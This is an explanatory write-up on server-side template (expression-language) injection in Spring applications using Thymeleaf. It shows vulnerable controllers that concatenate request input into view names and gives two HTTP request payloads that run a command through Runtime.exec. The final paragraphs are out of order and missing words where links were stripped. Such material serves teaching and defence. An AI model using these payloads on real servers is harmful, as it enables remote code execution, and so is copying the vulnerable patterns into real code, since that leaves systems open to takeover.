Consider a simple Spring application that uses Thymeleaf as its templating engine:
@Controller
public class HelloController {
@GetMapping("/")
public String index(Model model) {
model.addAttribute("message", "happy birthday");
return "welcome";
}
}
The index method will be called for every GET request for the root url /. It has no parameters and returns the static string welcome. Spring interprets welcome as the name of the View and tries to find the resources/templates/welcome.html file located in the application resources. If Spring finds it, renders a view from the template file and returns to the user.
Untrusted Thymeleaf view name
If Thymeleaf view engine is used (the most popular for Spring), the template might look like this one:
@GetMapping("/main")
public String fragment() {
return "welcome :: main";
}
Thymeleaf is intelligent enough to return only the main div from the welcome view, but not the whole document.
try {
// By parsing it as a standard expression, we might profit from the expression cache
fragmentExpression = (FragmentExpression) parser.parseExpression(context, "~{" + viewTemplateName + "}");
}
As a result, if template name or fragment is concatenated with untrusted data, it can lead to expression language injection and hence RCE.
For instance, the following methods are vulnerable to expression language injection:
@GetMapping("/path")
public String path(@RequestParam String lang) {
// potential path traversal, but limited to the 'templates' folder
return "user/" + lang + "/welcome";
}
@GetMapping("/fragment")
public String fragment(@RequestParam String section) {
return "welcome :: " + section;
}
The following request creates the executed file on the server:
GET /path?lang=__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("touch executed").getInputStream()).next()}__::.x HTTP/1.1
Host: vulnerable-website.com
Untrusted implicit view name
This means that at first glance such a controller may seem completely innocent, it does almost nothing, but since Spring does not know which view name to use, it takes it from the request URI.
Specifically, DefaultRequestToViewNameTranslator does the following:
/**
* Translates the request URI of the incoming {@link HttpServletRequest}
* into the view name based on the configured parameters.
* @see org.springframework.web.util.UrlPathHelper#getLookupPathForRequest
* @see #transformPath
*/
@Override
public String getViewName(HttpServletRequest request) {
String lookupPath = this.urlPathHelper.getLookupPathForRequest(request, HandlerMapping.LOOKUP_PATH);
return (this.prefix + transformPath(lookupPath) + this.suffix);
}
So, it becomes vulnerable because the user controlled data (URI) comes in directly to view name and is resolved as an expression:
GET /doc/__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x HTTP/1.1
Host: vulnerable-website.com
Thymeleaf engine supports , that allows you to specify a fragment in the template by using <div th:fragment="main"> and then request only this fragment from the view:
Before loading the template from the filesystem, class parses the template name as an expression:
This exploit uses . In order for the expression to be executed by the Thymeleaf, no matter what prefixes or suffixes are, it is necessary to surround it with __${ and }__::.x.
Controllers do not always return strings that explicitly tell Spring what view name to use. As described in the , for some return types such as void, java.util.Map or org.springframework.ui.Model, the view name is implicitly determined through a RequestToViewNameTranslator.
